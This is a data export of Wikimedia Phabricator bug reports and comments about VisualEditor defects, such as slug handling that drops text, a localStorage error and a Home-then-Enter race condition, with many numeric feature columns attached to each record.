182182,VisualEditor: Slug oddness - Prepending text to article starting with {{Infobox ..}} removes the entire article,*** Bug 46506 has been marked as a duplicate of this bug. ***,,,1364127463,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-2hzsnhrqn3e44r3w5wpx,task_subcomment,,True,c1,1,False,,,-15,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 46506 has been marked as a duplicate of this bug. ***
182178,VisualEditor: Slug oddness - Prepending text to article starting with {{Infobox ..}} removes the entire article,"This is fundamentally an ""editing what appears to be a blank space but is actually a slug means this behave in a way I did not anticipate"" - assigning to CE, but we really need to talk about this and what we should do longer-term.",,,1357598884,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2hzsnhrqn3e44r3w5wpx,task_subcomment,,True,c1,1,True,,,-25,,0.0,0.0,0.0,0.0,2.0,4.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,8.0,10.0,0.0,6.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,8.0,6.0,6.0,0.0,6.0,14.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,6.0,10.0,2.0,0.0,4.0,0.0,6.0,0.0,4.0,8.0,0.0,4.0,2.0,0.0,0.0,3.6470588235294117,0.7843137254901961,"This is fundamentally an ""editing what appears to be a blank space but is actually a slug means this behave in a way I did not anticipate"" - assigning to CE, but we really need to talk about this and what we should do longer-term."
45102,VisualEditor: Slug oddness - new text in list item before alien node is ignored,"Screenshot

Steps to reproduce problem:
* Open VisualEditor on https://en.wikipedia.org/wiki/Buri_Ram_Airport
* Put cursor in the placeholder slug in the second list item of the External links. There is an alien node here as the external link is generated with a template.
* Type ""a""
* Press ""Review and save""

Expected result:
A diff adding the letter ""a"".

Actual result:
Empty diff (see attachment)

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F9589}",High,80.0,1355442900,1371067225.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-xsynpfa72ixj4q44cgdk,task_description,resolved,True,c1,1,True,False,True,-29,,0.0,0.0,0.0,0.5,0.0,6.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,3.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,13.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.5,4.0,0.0,4.0,0.0,0.0,0.0,0.0,3.5,0.0,1.0,0.0,0.0,0.0,3.5,0.6491228070175439,"Screenshot

Steps to reproduce problem:
* Open VisualEditor on URL
* Put cursor in the placeholder slug in the second list item of the External links. There is an alien node here as the external link is generated with a template.
* Type ""a""
* Press ""Review and save""

Expected result:
A diff adding the letter ""a"".

Actual result:
Empty diff (see attachment)

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F9589}"
182140,VisualEditor: Slug oddness - new text in list item before alien node is ignored,This seems to be fixed already (try to reproduce on English Wikipedia).,,,1371067225,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-xsynpfa72ixj4q44cgdk,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,20.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,20.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,20.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.9333333333333333,This seems to be fixed already (try to reproduce on English Wikipedia).
45087,"VisualEditor: ""localStorage is null"" error message","Firefox 17.0.1 and Ubuntu 12.10; using the VE causes a failure with a ""localStorage is null"" error.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1355424480,1361832521.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-zi2tai4mmhmdntkaup52,task_description,invalid,True,c1,1,False,False,True,-29,,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,13.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,3.9743589743589745,0.717948717948718,"Firefox 17.0.1 and Ubuntu 12.10; using the VE causes a failure with a ""localStorage is null"" error.

--------------------------
**Version**: unspecified
**Severity**: normal"
205635,"VisualEditor: ""localStorage is null"" error message","**orbit** wrote:

We're going to resign (for now at least) from using localStorage for copy and paste. Although I was unable to reproduce this error, we're only using localStorage for copy and paste.",,,1361832521,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zi2tai4mmhmdntkaup52,task_subcomment,,True,c1,1,False,,,-18,,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,0.0,7.0,0.0,4.0,17.0,0.0,4.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,20.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,17.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,3.652173913043478,0.717391304347826,"**orbit** wrote:

We're going to resign (for now at least) from using localStorage for copy and paste. Although I was unable to reproduce this error, we're only using localStorage for copy and paste."
205631,"VisualEditor: ""localStorage is null"" error message","@James: Yes, it is. I will look into it.",,,1360357578,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-zi2tai4mmhmdntkaup52,task_subcomment,,True,c1,1,False,,,-21,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,23.0,8.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8461538461538463,0.8461538461538461,"SCREEN_NAME: Yes, it is. I will look into it."
205626,"VisualEditor: ""localStorage is null"" error message",Sounds like a CE-issue (for the copy-and-paste code?).,,,1355508197,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zi2tai4mmhmdntkaup52,task_subcomment,,True,c1,1,True,,,-29,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.611111111111111,0.8888888888888888,Sounds like a CE-issue (for the copy-and-paste code?).
45082,"VisualEditor: Race condition between ""Beginning of Line"" and ""New Line"" operations","Here is normal behavior:

1. In VisualEditor, type a line of text.
2. Position your cursor at the beginning of that line.
3. Press the Home key on your keyboard, to move the cursor to the beginning of the line.
4. Wait a moment.
5. Press Enter, and the current text is pushed downward one line. This is correct and expected.

Here is the buggy behavior:

1. In VisualEditor, type a line of text.
2. Position your cursor at the beginning of that line.
3. VERY QUICKLY, press the Home key followed by the Enter key.
4. The cursor moves down one line, so it is positioned below the line of text. The text did not move. This is incorrect behavior. The line of text should have been pushed downward.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1355422260,1371169075.0,PHID-USER-o5tv5cyrple4fn5xqopm,False,,False,PHID-TASK-zvx6cpsh2puavdxxft2q,task_description,resolved,True,c1,1,False,False,True,-29,,0.0,0.0,0.5,1.5,0.5,3.5,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,9.0,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,4.5,0.5,0.5,0.0,1.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,15.5,1.0,1.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,9.0,3.5,12.5,0.0,1.5,11.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,2.0,9.0,4.5,0.0,0.0,0.0,2.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,4.5,3.4414893617021276,0.5372340425531915,"Here is normal behavior:

1. In VisualEditor, type a line of text.
2. Position your cursor at the beginning of that line.
3. Press the Home key on your keyboard, to move the cursor to the beginning of the line.
4. Wait a moment.
5. Press Enter, and the current text is pushed downward one line. This is correct and expected.

Here is the buggy behavior:

1. In VisualEditor, type a line of text.
2. Position your cursor at the beginning of that line.
3. VERY QUICKLY, press the Home key followed by the Enter key.
4. The cursor moves down one line, so it is positioned below the line of text. The text did not move. This is incorrect behavior. The line of text should have been pushed downward.

--------------------------
**Version**: unspecified
**Severity**: normal"
205402,"VisualEditor: Race condition between ""Beginning of Line"" and ""New Line"" operations","Fixed and will go out with wmf8, from Thursday 20 June.",,,1371169075,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zvx6cpsh2puavdxxft2q,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,23.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4615384615384617,1.0,"Fixed and will go out with wmf8, from Thursday 20 June."
205395,"VisualEditor: Race condition between ""Beginning of Line"" and ""New Line"" operations",https://gerrit.wikimedia.org/r/68300 (Gerrit Change I35c892581943057acbf9ddd638576e998cc82c1a) | change APPROVED and MERGED [by jenkins-bot],,,1371169013,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zvx6cpsh2puavdxxft2q,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,41.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.117647058823529,1.0,GERRIT_URL (Gerrit Change I35c892581943057acbf9ddd638576e998cc82c1a) | change APPROVED and MERGED [by jenkins-bot]
205388,"VisualEditor: Race condition between ""Beginning of Line"" and ""New Line"" operations",Related URL: https://gerrit.wikimedia.org/r/68300 (Gerrit Change I35c892581943057acbf9ddd638576e998cc82c1a),,,1371076469,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zvx6cpsh2puavdxxft2q,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I35c892581943057acbf9ddd638576e998cc82c1a)
205378,"VisualEditor: Race condition between ""Beginning of Line"" and ""New Line"" operations",I've just created a test that covers this problem: https://github.com/inez/VE-tests/commit/4c1a444b207b37f90dc5d5ce969b5af00ee893ef (solution still not pushed).,,,1371002298,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-zvx6cpsh2puavdxxft2q,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,16.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,3.6842105263157894,1.0,I've just created a test that covers this problem: URL (solution still not pushed).
205371,"VisualEditor: Race condition between ""Beginning of Line"" and ""New Line"" operations",This issue is not browser specific.,,,1371000914,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-zvx6cpsh2puavdxxft2q,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,14.0,29.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,1.0,This issue is not browser specific.
205366,"VisualEditor: Race condition between ""Beginning of Line"" and ""New Line"" operations","Sounds like a polling issue. ""Very quickly"" probably means ""before the polling loop gets a chance to run""; it runs every 200ms.",,,1355558848,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-zvx6cpsh2puavdxxft2q,task_subcomment,,True,c1,1,False,,,-29,,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.6551724137931036,0.7931034482758621,"Sounds like a polling issue. ""Very quickly"" probably means ""before the polling loop gets a chance to run""; it runs every 200ms."
205362,"VisualEditor: Race condition between ""Beginning of Line"" and ""New Line"" operations","Crap... I made a mistake in my report.

In line (2) of both examples, change ""beginning of the line"" to ""end of the line."" The cursor needs to be at the END of the line.",,,1355422346,,PHID-USER-o5tv5cyrple4fn5xqopm,False,,,PHID-TASK-zvx6cpsh2puavdxxft2q,task_subcomment,,True,c1,1,False,,,-29,,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,19.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,11.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,4.0,19.0,2.0,0.0,9.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.893617021276596,0.6808510638297872,"Crap... I made a mistake in my report.

In line (2) of both examples, change ""beginning of the line"" to ""end of the line."" The cursor needs to be at the END of the line."
45081,"VisualEditor: Select All + Delete removes all text from sight, but not internally","1. Using VisualEditor, edit an article that already has some text in it.
2. Select all text with Ctrl-A.
3. Press the DELETE key. All text disappears as expected.
4. Click ""Review and Save"". The diff shows that text is STILL PRESENT in the article.
5. Finish saving. You will see that text is still in the article.

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1355422080,1371505460.0,PHID-USER-o5tv5cyrple4fn5xqopm,False,,False,PHID-TASK-i4afw6okkvtcnnnerpcr,task_description,resolved,True,c1,1,False,False,True,-29,,3.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,2.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,2.0,19.0,0.0,1.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,2.0,5.0,4.0,0.0,2.0,0.0,2.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,4.0,3.422680412371134,0.6082474226804123,"1. Using VisualEditor, edit an article that already has some text in it.
2. Select all text with Ctrl-A.
3. Press the DELETE key. All text disappears as expected.
4. Click ""Review and Save"". The diff shows that text is STILL PRESENT in the article.
5. Finish saving. You will see that text is still in the article.

--------------------------
**Version**: unspecified
**Severity**: major"
205321,"VisualEditor: Select All + Delete removes all text from sight, but not internally",This is now fixed (as of the new deletion code).,,,1371505460,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-i4afw6okkvtcnnnerpcr,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,This is now fixed (as of the new deletion code).
205314,"VisualEditor: Select All + Delete removes all text from sight, but not internally","**orbit** wrote:

Reproducible in Firefox.",,,1356133772,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-i4afw6okkvtcnnnerpcr,task_subcomment,,True,c1,1,False,,,-28,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,0.75,"**orbit** wrote:

Reproducible in Firefox."
205307,"VisualEditor: Select All + Delete removes all text from sight, but not internally","I can reproduce this with backspace too. Does seem to be a CE issue, because the linear model isn't emptied (it could also have been a selser issue).",,,1355693980,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-i4afw6okkvtcnnnerpcr,task_subcomment,,True,c1,1,False,,,-29,,0.0,0.0,0.0,3.0,3.0,3.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,9.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,3.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,9.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.588235294117647,0.9117647058823529,"I can reproduce this with backspace too. Does seem to be a CE issue, because the linear model isn't emptied (it could also have been a selser issue)."
205300,"VisualEditor: Select All + Delete removes all text from sight, but not internally","More widely, it looks like the CE layer doesn't bind to delete the way it does to backspace; assigning.",,,1355429997,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-i4afw6okkvtcnnnerpcr,task_subcomment,,True,c1,1,True,,,-29,,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,13.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,9.0,13.0,4.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,3.6956521739130435,0.8260869565217391,"More widely, it looks like the CE layer doesn't bind to delete the way it does to backspace; assigning."
205293,"VisualEditor: Select All + Delete removes all text from sight, but not internally",The problem also occurs if you highlight all the article text with your mouse and press DEL.,,,1355423978,,PHID-USER-o5tv5cyrple4fn5xqopm,False,,,PHID-TASK-i4afw6okkvtcnnnerpcr,task_subcomment,,True,c1,1,False,,,-29,,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,6.0,6.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.222222222222222,1.0,The problem also occurs if you highlight all the article text with your mouse and press DEL.
45076,VisualEditor: Some elements not alienated,"The coord template is not hatched but still visible and the links are still clickable.

https://en.wikipedia.org/wiki/User:Raymond/coords

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1355413560,1357678877.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-bhfeaa4hp3iuxtp7inrp,task_description,resolved,True,c1,1,False,False,True,-29,,0.0,0.0,0.0,3.0,3.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,11.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.111111111111111,0.6944444444444444,"The coord template is not hatched but still visible and the links are still clickable.

URL

--------------------------
**Version**: unspecified
**Severity**: major"
